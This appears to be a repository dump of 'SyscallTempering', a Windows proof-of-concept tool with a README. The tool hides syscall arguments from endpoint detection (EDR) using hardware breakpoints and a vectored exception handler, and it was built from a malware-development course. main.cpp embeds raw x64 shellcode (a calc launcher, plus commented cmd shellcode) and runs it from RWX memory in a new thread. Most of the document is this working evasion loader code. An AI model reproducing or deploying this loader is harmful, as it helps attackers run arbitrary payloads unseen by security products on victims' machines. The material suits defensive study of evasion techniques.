├── .idea
├── SyscallTempering.iml
├── vcs.xml
├── .gitignore
├── misc.xml
├── modules.xml
└── editor.xml
├── include
├── helpers.h
├── syscalls.h
└── PeParsing.h
├── CMakeLists.txt
├── src
├── helpers.cpp
├── PeParsing.cpp
└── syscalls.cpp
├── README.md
└── main.cpp
/.idea/SyscallTempering.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Editor-based HTTP Client requests
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/include/helpers.h:
--------------------------------------------------------------------------------
1 | //
2 | // Created by Brendan Ortiz on 7/23/2024.
3 | //
4 |
5 | #ifndef HELPERS_H
6 | #define HELPERS_H
7 |
8 | #include
9 |
10 |
11 |
12 | void int_srand(unsigned int seed);
13 | int int_rand();
14 | void MemoryCopy(void* dest, const void* src, size_t n);
15 |
16 | #endif //HELPERS_H
17 |
--------------------------------------------------------------------------------
/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required(VERSION 3.28)
2 | project(SyscallTempering)
3 |
4 | set(CMAKE_CXX_STANDARD 20)
5 |
6 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -fpermissive")
7 |
8 | add_executable(SyscallTempering main.cpp
9 | src/syscalls.cpp
10 | include/syscalls.h
11 | src/PeParsing.cpp
12 | include/PeParsing.h
13 | src/helpers.cpp
14 | include/helpers.h)
15 |
--------------------------------------------------------------------------------
/src/helpers.cpp:
--------------------------------------------------------------------------------
1 | //
2 | // Created by Brendan Ortiz on 7/23/2024.
3 | //
4 |
5 | #include "../include/helpers.h"
6 |
7 | void MemoryCopy(void* dest, const void* src, size_t n) {
8 | char* csrc = (char*)src;
9 | char* cdest = (char*)dest;
10 |
11 | // Copying data byte by byte
12 | for (size_t i = 0; i < n; i++)
13 | cdest[i] = csrc[i];
14 | }
15 |
16 | unsigned long int n = 1;
17 | // Seed the generator
18 | void int_srand(unsigned int seed) {
19 | n = seed;
20 | }
21 |
22 | // Generate a random number
23 | int int_rand() {
24 | n = n * 1103515245 + 12345;
25 | return (unsigned int)(n/65536) % 32768;
26 | }
--------------------------------------------------------------------------------
/src/PeParsing.cpp:
--------------------------------------------------------------------------------
1 | //
2 | // Created by Brendan Ortiz on 7/23/2024.
3 | //
4 |
5 | #include "../include/PeParsing.h"
6 |
7 | UINT32 CRC32BW(IN LPCWSTR String){
8 |
9 | UINT32 uMask = 0x00,
10 | uHash = 0xFFFFEFFF;
11 | INT i = 0x00;
12 |
13 | while (String[i] != 0) {
14 |
15 | uHash = uHash ^ (UINT32)String[i];
16 |
17 | for (int ii = 0; ii < 8; ii++) {
18 |
19 | uMask = -1 * (uHash & 1);
20 | uHash = (uHash >> 1) ^ (0xEDB88320 & uMask);
21 | }
22 |
23 | i++;
24 | }
25 |
26 | return ~uHash;
27 | }
28 |
29 | UINT32 CRC32BA(IN LPCSTR String){
30 |
31 | UINT32 uMask = 0x00,
32 | uHash = 0xFFFFEFFF;
33 | INT i = 0x00;
34 |
35 | while (String[i] != 0) {
36 |
37 | uHash = uHash ^ (UINT32)String[i];
38 |
39 | for (int ii = 0; ii < 8; ii++) {
40 |
41 | uMask = -1 * (uHash & 1);
42 | uHash = (uHash >> 1) ^ (0xEDB88320 & uMask);
43 | }
44 |
45 | i++;
46 | }
47 |
48 | return ~uHash;
49 | }
50 |
51 |
52 |
53 |
54 |
55 | PVOID GetExportDirectoryAddress(HMODULE hModule)
56 | {
57 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
58 | PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)hModule + dosHeader->e_lfanew);
59 | DWORD exportDirectoryRVA = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
60 | ULONG_PTR imageExportDirectory = (ULONG_PTR)hModule + exportDirectoryRVA;
61 |
62 | return (PVOID)imageExportDirectory;
63 | }
64 |
65 | PVOID GetModuleBaseAddr(_In_ UINT32 Hash)
66 | {
67 | P_INT_LDR_DATA_TABLE_ENTRY Ldr = NULL;
68 | PLIST_ENTRY Hdr = NULL;
69 | PLIST_ENTRY Ent = NULL;
70 | P_INT_PEB Peb = NULL;
71 |
72 | PTEB teb = (PTEB)__readgsqword(0x30);
73 |
74 | Peb = (P_INT_PEB)teb->ProcessEnvironmentBlock;
75 | Hdr = &Peb->Ldr->InMemoryOrderLinks;
76 | Ent = Hdr->Flink;
77 |
78 | // cycle through the doubly linked list until we reach the first link.
79 | for (; Hdr != Ent; Ent = Ent->Flink)
80 | {
81 | Ldr = (P_INT_LDR_DATA_TABLE_ENTRY)Ent;
82 |
83 | if ((HASHW(Ldr->BaseDllName.Buffer) == Hash) || Hash == 0)
84 | return Ldr->DllBase;
85 |
86 | }
87 |
88 | return NULL;
89 |
90 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## What is Syscall Tempering?
2 |
3 | This tool is my way of improving upon the syscall tampering module given to us by maldevacademy.com
4 | The way syscall tampering works, is you set a hardware breakpoint at the location of a system call instruction, and register a vector exception handler to process the exception when the breakpoint is hit.
5 | The vector exeception handler will replace the spoofed arguments (usually just a bunch of NULLs) with the ones you actually want to execute.
6 | This hides the arguments from the EDR and if you choose a syscall to tamper that is not hooked, then the arguments are never identified by the EDR.
7 | However, the original implementation i believe could use some improvements hence this repo:
8 |
9 | ### Syscall Tempering
10 | Syscall Tempering improves upon the previous research and obtains a list of system calls that are not hooked by the currently running EDR solution (tested against sophos). I've used my tool Benign Hunter to perform this task.
11 | Then a randomly chosen benign system call is tampered.
12 | The original implementation additionally only spoofs the first four arguments due to the fact that an edr that does not hook all systemcalls will not be privy to our arguments we're passing to the tampered call. But, just incase all of the system calls are hooked, I have spoofed all arguments up to the first 11.
13 | Any system calls that require more than 11 arguments will require additional code.
14 |
15 | I've left the printf statements in incase you would like to see how things are changed by the VEH.
16 |
17 | This proof of concept successfully launches the calculator under the supervision of Sophos EDR. Haven't tested against any other EDR (besides defender).
18 |
19 | Why did i name it syscall Tempering? When it's supposed to be tampering? Well when i was playing diablo 4 I would randomly brick items due to the tempering system. When I started thinking of the idea of randomly selecting benign syscalls I couldn't get this feature out of my head and it's very similar to tampering so I figured it fit.
20 |
21 | ### How it works:
22 |
23 | 1) Creates hardware breakpoints in randomly selected benign syscalls.
24 | 2) Passes 11 null arguments to the benign syscall when it calls it.
25 | 3) Once syscall is hit, the hardware breakpoint triggers an exception and looks like the following:
26 | 
27 |
28 | 
29 |
30 | - Notice three things, 1 the syscall isn't a hooked one under sophos NtOpenSemaphore, 2 we've stopped at the syscall instruction itself, 3 the arguments list up to the first 11 is null which means they're spoofed.
31 | 4) Once the VEH callback routine is triggered, the VEH will handle replacing the arguments on the stack if necessary, the arguments in the registers, and the syscall instruction number itself. Here's what that looks like after it triggers.
32 | 
33 | 
34 |
35 | 5) The hardware breakpoint is then removed. The rest of the syscalls will execute under this path with a randomly chosen benign call every time. The payload itself launches calculator under an environment protected by sophos.
36 | 
37 |
--------------------------------------------------------------------------------
/include/syscalls.h:
--------------------------------------------------------------------------------
1 | //
2 | // Created by Brendan Ortiz on 7/23/2024.
3 | //
4 |
5 | #ifndef SYCALLS_H
6 | #define SYCALLS_H
7 |
8 | #include
9 | #include "../include/helpers.h"
10 |
11 |
12 | typedef struct _SYSCALL_ENTRY {
13 | UINT32 u32Hash; //hash of the syscall
14 | ULONG_PTR uAddress; //address of the syscall to sort the array.
15 | }SYSCALL_ENTRY, *pSYSCALL_ENTRY;
16 |
17 | #define MAX_ENTRIES 600
18 |
19 | typedef struct _SYS_ENTRY_LIST {
20 | SYSCALL_ENTRY Entries[MAX_ENTRIES];
21 | UINT32 u32Count;
22 | }SYS_ENTRY_LIST, *pSYS_ENTRY_LIST;
23 |
24 | typedef struct _BENIGN_SYSCALL_ENTRY {
25 | UINT32 u32Hash;
26 | ULONG_PTR uAddress;
27 | DWORD SSN;
28 | }BENIGN_SYSCALL_ENTRY, *pBENIGN_SYSCALL_ENTRY;
29 |
30 | typedef struct _BENIGN_ENTRY_LIST {
31 | BENIGN_SYSCALL_ENTRY Entries[MAX_ENTRIES];
32 | UINT32 u32Count;
33 | } BENIGN_ENTRY_LIST, *pBENIGN_ENTRY_LIST;
34 |
35 | extern pSYS_ENTRY_LIST g_SyscallList;
36 | extern pBENIGN_ENTRY_LIST g_BenignSyscallList;
37 |
38 | typedef struct _TAMPERED_SYSCALL {
39 | ULONG_PTR uParam1;
40 | ULONG_PTR uParam2;
41 | ULONG_PTR uParam3;
42 | ULONG_PTR uParam4;
43 | ULONG_PTR uParam5;
44 | ULONG_PTR uParam6;
45 | ULONG_PTR uParam7;
46 | ULONG_PTR uParam8;
47 | ULONG_PTR uParam9;
48 | ULONG_PTR uParamA;
49 | ULONG_PTR uParamB;
50 | DWORD dwSyscallNumber;
51 | INT Nargs;
52 | } TAMPERED_SYSCALL, *pTAMPERED_SYSCALL;
53 |
54 | BOOL PopulateSyscallList();
55 | DWORD FetchSSNFromSyscallEntries(UINT32 u32Hash);
56 | BOOL InitHardwareBreakpointHooking();
57 | BOOL HaltHardwareBreakpointHooking();
58 | VOID PopulateTamperedSyscall(ULONG_PTR uParam1, ULONG_PTR uParam2, ULONG_PTR uParam3, ULONG_PTR uParam4, ULONG_PTR uParam5, ULONG_PTR uParam6, ULONG_PTR uParam7, ULONG_PTR uParam8, ULONG_PTR uParam9, ULONG_PTR uParamA, ULONG_PTR uParamB, DWORD dwSyscallNumber, INT Nargs);
59 | unsigned long long SetDr7Bits(unsigned long long CurrentDr7Register, int StartingBitPosition, int NmbrOfBitsToModify, unsigned long long NewBitValue);
60 | BOOL InstallHardwareBreakpointHook(_In_ DWORD dwThreadID, _In_ ULONG_PTR uTargetFuncAddress);
61 | BOOL InitializeTamperedSyscall(_In_ ULONG_PTR uCalledSyscallAddress, _In_ UINT32 FunctionHash, _In_ INT Nargs, _In_ ULONG_PTR uParam1, _In_ ULONG_PTR uParam2, _In_ ULONG_PTR uParam3, _In_ ULONG_PTR uParam4, ULONG_PTR uParam5, ULONG_PTR uParam6, ULONG_PTR uParam7, ULONG_PTR uParam8, ULONG_PTR uParam9, ULONG_PTR uParamA, ULONG_PTR uParamB);
62 |
63 | typedef NTSTATUS(NTAPI* t_NtDummyApi)(
64 | ULONG_PTR uParm1,
65 | ULONG_PTR uParm2,
66 | ULONG_PTR uParm3,
67 | ULONG_PTR uParm4,
68 | ULONG_PTR uParm5,
69 | ULONG_PTR uParm6,
70 | ULONG_PTR uParm7,
71 | ULONG_PTR uParm8,
72 | ULONG_PTR uParm9,
73 | ULONG_PTR uParmA,
74 | ULONG_PTR uParmB // One can add more fake parameters here if the original syscall required > 11 parms
75 | );
76 |
77 | /*
78 | TAMPER_SYSCALL:
79 | * Calls the "InitializeTamperedSyscall" function.
80 | * Calls the decoy syscall, "NtQuerySecurityObject". When "NtQuerySecurityObject" is executed, its SSN will be replaced with u32SyscallHash's SSN (that is the ssn of the real syscall to be executed).
81 | Therefore the kernel will invoke the function of hash "u32SyscallHash".
82 | * First 4 parameters of "NtQuerySecurityObject" are NULL, these are replaced by the VEH when triggered.
83 | */
84 | #define TAMPER_SYSCALL(d64SyscallHash, Nargs, uParm1, uParm2, uParm3, uParm4, uParm5, uParm6, uParm7, uParm8, uParm9, uParmA, uParmB) \
85 | if (1){ \
86 | \
87 | NTSTATUS STATUS = 0x00; \
88 | t_NtDummyApi pDummyApi = NULL; \
89 | \
90 | pDummyApi = (t_NtDummyApi)g_BenignSyscallList->Entries[int_rand() % g_BenignSyscallList->u32Count].uAddress; \
91 | if (!InitializeTamperedSyscall(pDummyApi, d64SyscallHash, Nargs, uParm1, uParm2, uParm3, uParm4, uParm5, uParm6, uParm7, uParm8, uParm9, uParmA, uParmB)) \
92 | return -1; \
93 | \
94 | if ((STATUS = pDummyApi(NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)) != 0x00) { \
95 | printf("[!] 0x%llx Failed With Error: 0x%llx \n", d64SyscallHash, STATUS); \
96 | return -1; \
97 | } \
98 | }
99 |
100 |
101 | BOOL init();
102 | BOOL IsPresent(DWORD64 dw64Hash, pBENIGN_ENTRY_LIST pList);
103 |
104 | extern pTAMPERED_SYSCALL g_TamperedSyscall;
105 | extern PCRITICAL_SECTION g_CriticalSection;
106 | extern PVOID g_VehHandler;
107 |
108 |
109 | #endif //SYCALLS_H
110 |
--------------------------------------------------------------------------------
/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include "include/PeParsing.h"
3 | #include "include/syscalls.h"
4 | #include "include/helpers.h"
5 |
6 | #define ZwAllocateVirtualMemory_CRCA 0x71D7EF35
7 | #define ZwProtectVirtualMemory_CRCA 0x998153D9
8 | #define ZwCreateThreadEx_CRCA 0x477AC175
9 | #define ZwWaitForSingleObject_CRCA 0xcb27b639
10 |
11 | //winexec kernel32 winexec calc.exe payload.
12 | /*
13 | unsigned char rawData[] = {
14 | 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,
15 | 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,
16 | 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,
17 | 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
18 | 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B,
19 | 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,
20 | 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
21 | 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
22 | 0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3
23 | };
24 |
25 |
26 | 00402000 > 8BEC MOV EBP,ESP
27 | 00402002 . 68 65786520 PUSH 20657865
28 | 00402007 . 68 636D642E PUSH 2E646D63
29 | 0040200C . 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
30 | 0040200F . 50 PUSH EAX
31 | 00402010 . B8 8D15867C MOV EAX,kernel32.WinExec
32 | 00402015 . FFD0 CALL EAX
33 |
34 | unsigned char rawData[] =
35 | "\x31\xC9" //xor ecx,ecx
36 | "\x64\x8B\x71\x30" //mov esi,[fs:ecx+0x30]
37 | "\x8B\x76\x0C" //mov esi,[esi+0xc]
38 | "\x8B\x76\x1C" //mov esi,[esi+0x1c]
39 | "\x8B\x36" //mov esi,[esi]
40 | "\x8B\x06" //mov eax,[esi]
41 | "\x8B\x68\x08" //mov ebp,[eax+0x8]
42 | "\xEB\x20" //jmp short 0x35
43 | "\x5B" //pop ebx
44 | "\x53" //push ebx
45 | "\x55" //push ebp
46 | "\x5B" //pop ebx
47 | "\x81\xEB\x11\x11\x11\x11" //sub ebx,0x11111111
48 | "\x81\xC3\xDA\x3F\x1A\x11" //add ebx,0x111a3fda (for seven X86 add ebx,0x1119f7a6)
49 | "\xFF\xD3" //call ebx
50 | "\x81\xC3\x11\x11\x11\x11" //add ebx,0x11111111
51 | "\x81\xEB\x8C\xCC\x18\x11" //sub ebx,0x1118cc8c (for seven X86 sub ebx,0x1114ccd7)
52 | "\xFF\xD3" //call ebx
53 | "\xE8\xDB\xFF\xFF\xFF" //call dword 0x15
54 | //db "cmd"
55 | "\x63\x6d\x64";
56 | */
57 |
58 | unsigned char rawData[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
59 | "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
60 | "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
61 | "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
62 | "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
63 | "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
64 | "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
65 | "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
66 | "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
67 | "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
68 | "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
69 | "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
70 | "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
71 | "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
72 | "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
73 | "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
74 | "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
75 | "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
76 | "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
77 | "\xd5\x63\x61\x6c\x63\x00";
78 |
79 |
80 | int main()
81 | {
82 | if(!init())
83 | printf("error attempting to initialize");
84 |
85 | PVOID BaseAddress = NULL;
86 | ULONG RegionSize = sizeof(rawData);
87 | DWORD dwOldPro = 0x00;
88 | HANDLE hThread = NULL;
89 |
90 | if(!InitHardwareBreakpointHooking()) {
91 | printf("[error] attempting to initialize hardware breakpoint hooking\n");
92 | return -1;
93 | }
94 |
95 |
96 | printf("[>] BaseAddress : 0x%p \n", &BaseAddress);
97 | printf("[>] RegionSize : 0x%p \n", &RegionSize);
98 |
99 | int_srand(time(NULL));
100 |
101 | TAMPER_SYSCALL(ZwAllocateVirtualMemory_CRCA, 6, -1, &BaseAddress, 0x00, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, NULL, NULL, NULL, NULL, NULL);
102 |
103 |
104 |
105 | TAMPER_SYSCALL(ZwProtectVirtualMemory_CRCA, 5, -1, &BaseAddress, &RegionSize, PAGE_EXECUTE_READWRITE, &dwOldPro, NULL, NULL, NULL, NULL, NULL, NULL);
106 |
107 | MemoryCopy(BaseAddress, rawData, sizeof(rawData));
108 |
109 |
110 | TAMPER_SYSCALL(ZwCreateThreadEx_CRCA, 7, &hThread, THREAD_ALL_ACCESS, NULL, -1, BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
111 |
112 | TAMPER_SYSCALL(ZwWaitForSingleObject_CRCA, 3, hThread, INFINITE, FALSE, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);// give created thread enough time to finish executing
113 |
114 | if(!HaltHardwareBreakpointHooking())
115 | return -1;
116 |
117 | }
118 |
--------------------------------------------------------------------------------
/.idea/editor.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
--------------------------------------------------------------------------------
/include/PeParsing.h:
--------------------------------------------------------------------------------
1 | //
2 | // Created by Brendan Ortiz on 7/23/2024.
3 | //
4 |
5 | #ifndef PEPARSING_H
6 | #define PEPARSING_H
7 | #include
8 | #include
9 |
10 | PVOID GetExportDirectoryAddress(HMODULE hModule);
11 | PVOID GetModuleBaseAddr(_In_ UINT32 Hash);
12 | UINT32 CRC32BA(IN LPCSTR String);
13 | UINT32 CRC32BW(IN LPCWSTR String);
14 |
15 | #define HASHW(STR)(CRC32BW(STR))
16 | #define HASHA(STR)(CRC32BA(STR))
17 |
18 | typedef enum _LDR_DLL_LOAD_REASON {
19 | LoadReasonStaticDependency,
20 | LoadReasonStaticForwarderDependency,
21 | LoadReasonDynamicForwarderDependency,
22 | LoadReasonDelayloadDependency,
23 | LoadReasonDynamicLoad,
24 | LoadReasonAsImageLoad,
25 | LoadReasonAsDataLoad,
26 | LoadReasonUnknown = -1
27 | } LDR_DLL_LOAD_REASON;
28 |
29 | typedef struct _RTL_BALANCED_NODE
30 | {
31 | union
32 | {
33 | struct _RTL_BALANCED_NODE* Children[2]; //0x0
34 | struct
35 | {
36 | struct _RTL_BALANCED_NODE* Left; //0x0
37 | struct _RTL_BALANCED_NODE* Right; //0x8
38 | };
39 | };
40 | union
41 | {
42 | struct
43 | {
44 | UCHAR Red : 1; //0x10
45 | UCHAR Balance : 2; //0x10
46 | };
47 | ULONGLONG ParentValue; //0x10
48 | };
49 | }_RTL_BALANCED_NODE, * P_RTL_BALANCED_NODE;
50 |
51 | typedef struct _INT_LSA_UNICODE_STRING {
52 | USHORT Length;
53 | USHORT MaximumLength;
54 | PWSTR Buffer;
55 | } _INT_LSA_UNICODE_STRING, * P_INT_LSA_UNICODE_STRING, _INT_UNICODE_STRING, * P_INT_UNICODE_STRING, * P_INT_UNICODE_STR;
56 |
57 | typedef struct _INT_LDR_DATA_TABLE_ENTRY
58 | {
59 | struct _LIST_ENTRY InLoadOrderLinks; //0x0
60 | struct _LIST_ENTRY InMemoryOrderLinks; //0x10
61 | struct _LIST_ENTRY InInitializationOrderLinks; //0x20
62 | VOID* DllBase; //0x30
63 | VOID* EntryPoint; //0x38
64 | ULONG SizeOfImage; //0x40
65 | struct _UNICODE_STRING FullDllName; //0x48
66 | struct _UNICODE_STRING BaseDllName; //0x58
67 | union
68 | {
69 | UCHAR FlagGroup[4]; //0x68
70 | ULONG Flags; //0x68
71 | struct
72 | {
73 | ULONG PackagedBinary : 1; //0x68
74 | ULONG MarkedForRemoval : 1; //0x68
75 | ULONG ImageDll : 1; //0x68
76 | ULONG LoadNotificationsSent : 1; //0x68
77 | ULONG TelemetryEntryProcessed : 1; //0x68
78 | ULONG ProcessStaticImport : 1; //0x68
79 | ULONG InLegacyLists : 1; //0x68
80 | ULONG InIndexes : 1; //0x68
81 | ULONG ShimDll : 1; //0x68
82 | ULONG InExceptionTable : 1; //0x68
83 | ULONG ReservedFlags1 : 2; //0x68
84 | ULONG LoadInProgress : 1; //0x68
85 | ULONG LoadConfigProcessed : 1; //0x68
86 | ULONG EntryProcessed : 1; //0x68
87 | ULONG ProtectDelayLoad : 1; //0x68
88 | ULONG ReservedFlags3 : 2; //0x68
89 | ULONG DontCallForThreads : 1; //0x68
90 | ULONG ProcessAttachCalled : 1; //0x68
91 | ULONG ProcessAttachFailed : 1; //0x68
92 | ULONG CorDeferredValidate : 1; //0x68
93 | ULONG CorImage : 1; //0x68
94 | ULONG DontRelocate : 1; //0x68
95 | ULONG CorILOnly : 1; //0x68
96 | ULONG ChpeImage : 1; //0x68
97 | ULONG ReservedFlags5 : 2; //0x68
98 | ULONG Redirected : 1; //0x68
99 | ULONG ReservedFlags6 : 2; //0x68
100 | ULONG CompatDatabaseProcessed : 1; //0x68
101 | };
102 | };
103 | USHORT ObsoleteLoadCount; //0x6c
104 | USHORT TlsIndex; //0x6e
105 | struct _LIST_ENTRY HashLinks; //0x70
106 | ULONG TimeDateStamp; //0x80
107 | struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88
108 | VOID* Lock; //0x90
109 | struct _LDR_DDAG_NODE* DdagNode; //0x98
110 | struct _LIST_ENTRY NodeModuleLink; //0xa0
111 | struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0
112 | VOID* ParentDllBase; //0xb8
113 | VOID* SwitchBackContext; //0xc0
114 | struct _RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8
115 | struct _RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0
116 | ULONGLONG OriginalBase; //0xf8
117 | union _LARGE_INTEGER LoadTime; //0x100
118 | ULONG BaseNameHashValue; //0x108
119 | enum _LDR_DLL_LOAD_REASON LoadReason; //0x10c
120 | ULONG ImplicitPathOptions; //0x110
121 | ULONG ReferenceCount; //0x114
122 | ULONG DependentLoadFlags; //0x118
123 | UCHAR SigningLevel; //0x11c
124 | }_INT_LDR_DATA_TABLE_ENTRY, * P_INT_LDR_DATA_TABLE_ENTRY;
125 |
126 |
127 | struct _INT_STRING64
128 | {
129 | USHORT Length; //0x0
130 | USHORT MaximumLength; //0x2
131 | ULONGLONG Buffer; //0x8
132 | };
133 |
134 | typedef struct _PEB64
135 | {
136 | UCHAR InheritedAddressSpace; //0x0
137 | UCHAR ReadImageFileExecOptions; //0x1
138 | UCHAR BeingDebugged; //0x2
139 | union
140 | {
141 | UCHAR BitField; //0x3
142 | struct
143 | {
144 | UCHAR ImageUsesLargePages : 1; //0x3
145 | UCHAR IsProtectedProcess : 1; //0x3
146 | UCHAR IsImageDynamicallyRelocated : 1; //0x3
147 | UCHAR SkipPatchingUser32Forwarders : 1; //0x3
148 | UCHAR IsPackagedProcess : 1; //0x3
149 | UCHAR IsAppContainer : 1; //0x3
150 | UCHAR IsProtectedProcessLight : 1; //0x3
151 | UCHAR IsLongPathAwareProcess : 1; //0x3
152 | };
153 | };
154 | UCHAR Padding0[4]; //0x4
155 | ULONGLONG Mutant; //0x8
156 | ULONGLONG ImageBaseAddress; //0x10
157 | P_INT_LDR_DATA_TABLE_ENTRY Ldr; //0x18
158 | ULONGLONG ProcessParameters; //0x20
159 | ULONGLONG SubSystemData; //0x28
160 | ULONGLONG ProcessHeap; //0x30
161 | ULONGLONG FastPebLock; //0x38
162 | ULONGLONG AtlThunkSListPtr; //0x40
163 | ULONGLONG IFEOKey; //0x48
164 | union
165 | {
166 | ULONG CrossProcessFlags; //0x50
167 | struct
168 | {
169 | ULONG ProcessInJob : 1; //0x50
170 | ULONG ProcessInitializing : 1; //0x50
171 | ULONG ProcessUsingVEH : 1; //0x50
172 | ULONG ProcessUsingVCH : 1; //0x50
173 | ULONG ProcessUsingFTH : 1; //0x50
174 | ULONG ProcessPreviouslyThrottled : 1; //0x50
175 | ULONG ProcessCurrentlyThrottled : 1; //0x50
176 | ULONG ProcessImagesHotPatched : 1; //0x50
177 | ULONG ReservedBits0 : 24; //0x50
178 | };
179 | };
180 | UCHAR Padding1[4]; //0x54
181 | union
182 | {
183 | ULONGLONG KernelCallbackTable; //0x58
184 | ULONGLONG UserSharedInfoPtr; //0x58
185 | };
186 | ULONG SystemReserved; //0x60
187 | ULONG AtlThunkSListPtr32; //0x64
188 | ULONGLONG ApiSetMap; //0x68
189 | ULONG TlsExpansionCounter; //0x70
190 | UCHAR Padding2[4]; //0x74
191 | ULONGLONG TlsBitmap; //0x78
192 | ULONG TlsBitmapBits[2]; //0x80
193 | ULONGLONG ReadOnlySharedMemoryBase; //0x88
194 | ULONGLONG SharedData; //0x90
195 | ULONGLONG ReadOnlyStaticServerData; //0x98
196 | ULONGLONG AnsiCodePageData; //0xa0
197 | ULONGLONG OemCodePageData; //0xa8
198 | ULONGLONG UnicodeCaseTableData; //0xb0
199 | ULONG NumberOfProcessors; //0xb8
200 | ULONG NtGlobalFlag; //0xbc
201 | union _LARGE_INTEGER CriticalSectionTimeout; //0xc0
202 | ULONGLONG HeapSegmentReserve; //0xc8
203 | ULONGLONG HeapSegmentCommit; //0xd0
204 | ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
205 | ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
206 | ULONG NumberOfHeaps; //0xe8
207 | ULONG MaximumNumberOfHeaps; //0xec
208 | ULONGLONG ProcessHeaps; //0xf0
209 | ULONGLONG GdiSharedHandleTable; //0xf8
210 | ULONGLONG ProcessStarterHelper; //0x100
211 | ULONG GdiDCAttributeList; //0x108
212 | UCHAR Padding3[4]; //0x10c
213 | ULONGLONG LoaderLock; //0x110
214 | ULONG OSMajorVersion; //0x118
215 | ULONG OSMinorVersion; //0x11c
